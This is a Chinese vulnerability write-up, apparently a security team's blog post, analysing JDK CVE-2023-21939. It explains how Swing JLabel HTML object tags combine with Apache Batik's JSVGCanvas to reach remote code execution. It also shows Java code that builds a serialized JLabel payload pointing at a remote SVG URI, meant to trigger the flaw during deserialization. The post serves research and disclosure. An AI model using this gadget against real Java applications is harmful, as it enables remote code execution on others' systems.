原创 Y4Sec Team 2023-08-26 14:56 浙江
从去年 CS 反制到 JDK CVE-2023-21939 漏洞分析,拓展新的攻击面,分析如何进一步利用
在去年 CS 反制的时候,Beichen 师傅提出了 Java Swing 中存在的潜在漏洞,在配合 Apache XML Graphics Batik 1.16 之前的版本时,某些情况会导致 RCE 漏洞
JLabel 的内容可以输入 HTML 格式,例如下方的 Demo
import javax.swing.*;public class Main {private static void createAndShowGUI() {JFrame.setDefaultLookAndFeelDecorated(true);JFrame frame = new JFrame("HelloWorldSwing");frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);String inputFromUser = "<html><h1>hello</h1><h2>world</h2></html>";JLabel label = new JLabel(inputFromUser);frame.getContentPane().add(label);frame.pack();frame.setVisible(true);}public static void main(String[] args) {javax.swing.SwingUtilities.invokeLater(Main::createAndShowGUI);}}
漏洞点在于:这里的 HTML 格式支持了 OBJECT 标签,官方给出的示例如下,classid 属性表示类名,param 设置类中的参数
第一处限制了必须有空参构造
第二处参考同一张图,如果不是 Component 类型将不会设置属性
如果成功进入了 setParameters 方法,剩下的三个限制为
第一:参数必须是 String 类型
第二:该参数拥有 settter 方法(getWriteMethod)
第三:该 setter 方法只能有一个参数
在各路大佬卷了一段时间后,大家都发现了相同的 Gadget JSVGCanvas 类,该类位于 Apache XML Graphics Batik 项目中,方法为 setURI
该方法用于设置一个 SVG URI 并加载
深入分析 Batik 内部的类可以发现允许加载 JS 和 Jar 两种类型。由于本文主要是讲 JDK 的 CVE-2023-21939 并不是 Batik 所以这里一带而过。对于这个问题去年底 Apache XML Graphics 团队给出了两份 CVE 公告:
CVE-2022-41704 不允许远程加载JAR运行代码
CVE-2022-42890 不允许加载 JS 执行代码
回顾之后,接下来进入本文主题。JDK CVE-2023-21939 分析,由于 Oracle 公司的 CVE 从来不给详情,总是给一些模糊的、笼统的、官方的术语,很难根据 CVE 描述分析出这是一个什么类型的 CVE 漏洞
https://www.oracle.com/security-alerts/cpuapr2023.html
公告中看到这个 CVE 的致谢信息是 Beichen 师傅和 c0ny1 师傅
在具体的 CVE 信息中可以看到 JDK 分配到 Swing 组件中
在同一时间 JDK 8u371 的公告中可以发现这样的信息
https://www.oracle.com/java/technologies/javase/8u371-relnotes.html
某些显示应用程序文本的 Swing 组件(例如 JLabels 和 JButton)将尝试将该文本解释为 HTML,主要是为了启用样式文本。这些组件文本的 HTML 处理将不再识别<object>允许java.awt.Component在组件上呈现 的子类的标记。要重新启用此功能,应用程序必须指定-Dswing.html.object=true
通过这三点,我确认了 CVE-2023-21939 解决的问题就是以上的 Swing 配合 Batik 导致的 RCE 问题。官方默认关闭了 object 标签,但并不禁止 HTML 标签,原则上来说也不应该禁止 HTML 标签,毕竟是功能。不禁止 HTML 同样会导致一些安全问题,例如基于 IMG 标签的 SSRF 或者特殊构造导致的 DoS 漏洞
例如 jadx-gui 工具打开恶意 HTML 导致 Swing DoS 漏洞
CVE-2022-39259
https://github.com/skylot/jadx/security/advisories/GHSA-3r7j-8mqh-6qhx
以上的攻击面,仅是 JLabel 等 Swing 类的内容支持 HTML 渲染导致的问题,这种问题一般存在 GUI 界面中,必须开启 HTML 渲染(虽然是默认)且至少需要输入内容可控(本地可控自己R自己不算,应该做到远程可控)才可以利用,感觉是一种比较高的利用条件
那么是否存在一种利用方式,将这种利用方式扩大呢
在介绍后续内容之前,先讲一些基本的内容
什么是 ObjectInputValidation
在 Java 序列化过程中,对象可以通过网络发送或持久化到磁盘上。在接收或恢复这些对象时,为了确保数据的完整性和安全性,需要对对象进行验证,以防止恶意攻击或数据损坏
ObjectInputValidation 接口定义了一个名为 validateObject() 的方法,该方法在对象反序列化过程中被调用。通过实现这个接口并提供相应的验证逻辑,开发人员可以定义对象的验证规则
当对象被反序列化时,Java 虚拟机会在反序列化完成之前调用 validateObject() 方法。如果对象未通过验证,validateObject() 方法将抛出一个 InvalidObjectException 异常,从而阻止对象被完全恢复
通过使用 ObjectInputValidation 接口,开发人员可以确保反序列化过程中对象的有效性,从而提高应用程序的安全性和可靠性
在 ObjectInputStream 中可以看到 doCallBacks 方法,其中包含了 obj.validateObject 方法。这是 Java 原生反序列化中的一个流程
- 制作一个带有 Payload 的 JLabel- 设置 JLabel 的 html disabled 属性为 false- 配合本地 Batik 的依赖 RCE其中第二点在低版本 JDK 中可以任意设置
于是构造出一个 JLabel 对象,设置其中的 text 为 object 标签
public Object getObject() throws Exception {JLabel label = new JLabel();// OLD JDK SET TRUE/FALSE// NEW JDK SET FALSElabel.putClientProperty("html.disable", false);Field textField = label.getClass().getDeclaredField("text");textField.setAccessible(true);textField.set(label,"<html><object " +"classid=\"org.apache.batik.swing.JSVGCanvas\">" +"<param name=\"URI\" value=\"http://localhost:8886/2.xml\"></object></html>");return label;}
(3)JDK 新版修复 equals 问题
JDK 最新版修复了 BasicHTML 中 updateRenderer 方法的 == 和 equals 的问题,这可以说是一种 BUG 也可以是潜在的安全漏洞。这个问题导致了反序列化的过程中,无论设置 htmlDisabled 属性是 true 或 false 都可以被解析成 HTML 格式,然后结合 OBJECT 标签和 Batik 等依赖触发 RCE 漏洞。在构造序列化数据的时候,或许可以故意设置为 true 以防止在构造的时候触发漏洞,只在反序列化的时候触发即可
